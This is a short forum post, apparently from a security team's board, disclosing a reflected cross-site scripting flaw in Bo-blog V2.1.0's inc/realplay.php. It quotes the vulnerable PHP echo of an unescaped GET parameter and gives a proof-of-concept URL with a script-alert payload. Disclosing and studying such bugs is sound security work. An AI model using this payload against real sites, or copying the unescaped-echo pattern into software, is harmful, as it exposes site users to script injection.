Wolves Security Team

flyh4t

Administrator

Registered: 2008-10-06

Posts: 89

Bo-blogV2.1.0 小跨站一个

版本Bo-blog V2.1.0
文件\inc\realplay.php
这个小bug有点搞笑

<?php
echo (get_magic_quotes_gpc() ? stripslashes($_GET['link']) : $_GET['link']);
?>

poc

http://www.xxxx.com/inc/realplay.php?link=<script>alert('xss')</script>

flyh4t

Administrator

Registered: 2008-10-06

Posts: 89

Re: Bo-blogV2.1.0 小跨站一个

今天逛网站的时候发现有人在之前发过了，不好意思

http://bbs.tian6.com/archiver/tid-9533.html